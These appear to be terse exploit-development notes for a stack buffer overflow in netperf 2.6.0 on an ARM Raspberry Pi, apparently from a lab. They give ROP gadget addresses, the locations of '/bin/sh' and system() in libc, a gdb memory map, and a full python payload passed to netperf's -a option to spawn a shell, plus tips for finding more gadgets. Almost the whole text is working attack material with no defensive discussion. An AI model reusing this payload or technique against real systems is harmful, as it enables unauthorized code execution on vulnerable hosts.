Payloads:

0xf7fd3533 : pop {r4, pc} (change from 0xf7fd3532 to 0xf7fd3533)

0xf7ee6db0 "/bin/sh"

0xf7fd3187 : mov r0, r4 ; pop {r4, r5, r6, pc} (change from 0xf7fd3186 to 0xf7fd3187)

(gdb) info proc mapping

process 7748

Mapped address spaces:

Start Addr End Addr Size Offset objfile

0x10000 0x42000 0x32000 0x0 /home/pi/Desktop/hpconarm/exploits/netperf-2.6.0/src/netperf

0x51000 0x52000 0x1000 0x31000 /home/pi/Desktop/hpconarm/exploits/netperf-2.6.0/src/netperf

0x52000 0x57000 0x5000 0x32000 /home/pi/Desktop/hpconarm/exploits/netperf-2.6.0/src/netperf

0x57000 0x66000 0xf000 0x0 [heap]

0xf7e0f000 0xf7ef3000 0xe4000 0x0 /lib/arm-linux-gnueabihf/libc-2.28.so

0xf7ef3000 0xf7f03000 0x10000 0xe4000 /lib/arm-linux-gnueabihf/libc-2.28.so

0xf7f03000 0xf7f05000 0x2000 0xe4000 /lib/arm-linux-gnueabihf/libc-2.28.so

0xf7f05000 0xf7f06000 0x1000 0xe6000 /lib/arm-linux-gnueabihf/libc-2.28.so

0xf7f06000 0xf7f09000 0x3000 0x0

0xf7f09000 0xf7f73000 0x6a000 0x0 /lib/arm-linux-gnueabihf/libm-2.28.so

0xf7f73000 0xf7f82000 0xf000 0x6a000 /lib/arm-linux-gnueabihf/libm-2.28.so

0xf7f82000 0xf7f83000 0x1000 0x69000 /lib/arm-linux-gnueabihf/libm-2.28.so

0xf7f83000 0xf7f84000 0x1000 0x6a000 /lib/arm-linux-gnueabihf/libm-2.28.so

0xf7f84000 0xf7f86000 0x2000 0x0 /lib/arm-linux-gnueabihf/libdl-2.28.so

0xf7f86000 0xf7f95000 0xf000 0x2000 /lib/arm-linux-gnueabihf/libdl-2.28.so

0xf7f95000 0xf7f96000 0x1000 0x1000 /lib/arm-linux-gnueabihf/libdl-2.28.so

0xf7f96000 0xf7f97000 0x1000 0x2000 /lib/arm-linux-gnueabihf/libdl-2.28.so

0xf7fc6000 0xf7fde000 0x18000 0x0 /lib/arm-linux-gnueabihf/ld-2.28.so

0xf7feb000 0xf7fed000 0x2000 0x0

0xf7fed000 0xf7fee000 0x1000 0x0 [sigpage]

0xf7fee000 0xf7fef000 0x1000 0x18000 /lib/arm-linux-gnueabihf/ld-2.28.so

0xf7fef000 0xf7ff0000 0x1000 0x19000 /lib/arm-linux-gnueabihf/ld-2.28.so

0xfffcd000 0xffff0000 0x23000 0x0 [stack]

0xffff0000 0xffff1000 0x1000 0x0 [vectors]

d186: 4620 mov r0, r4

d188: bd38 pop {r3, r4, r5, pc}

d532: bd10 pop {r4, pc}

"AAAA"\*3

$1 = (<text variable, no debug info> \*) 0xf7e3cc8d <system> (change from 0xf7e3cc8c to 0xf7e3cc8d)

Command:

gdb --args ./netperf -a `python -c 'print "A"\*8220+"\x33\x35\xfd\xf7"+"\xb0\x6d\xee\xf7"+"\x87\x31\xfd\xf7"+"AAAA"\*3+"\x8d\xcc\xe3\xf7"'`

x/64xw $sp+25700

To find assembler code for the program that are not in the ROPGadget:

info proc mapping

find start, +length, (int)machinecode\_hex

x/16i address

http://shell-storm.org/online/Online-Assembler-and-Disassembler/?inst=mov+r0%2C+r4&arch=arm&as\_format=inline#assembly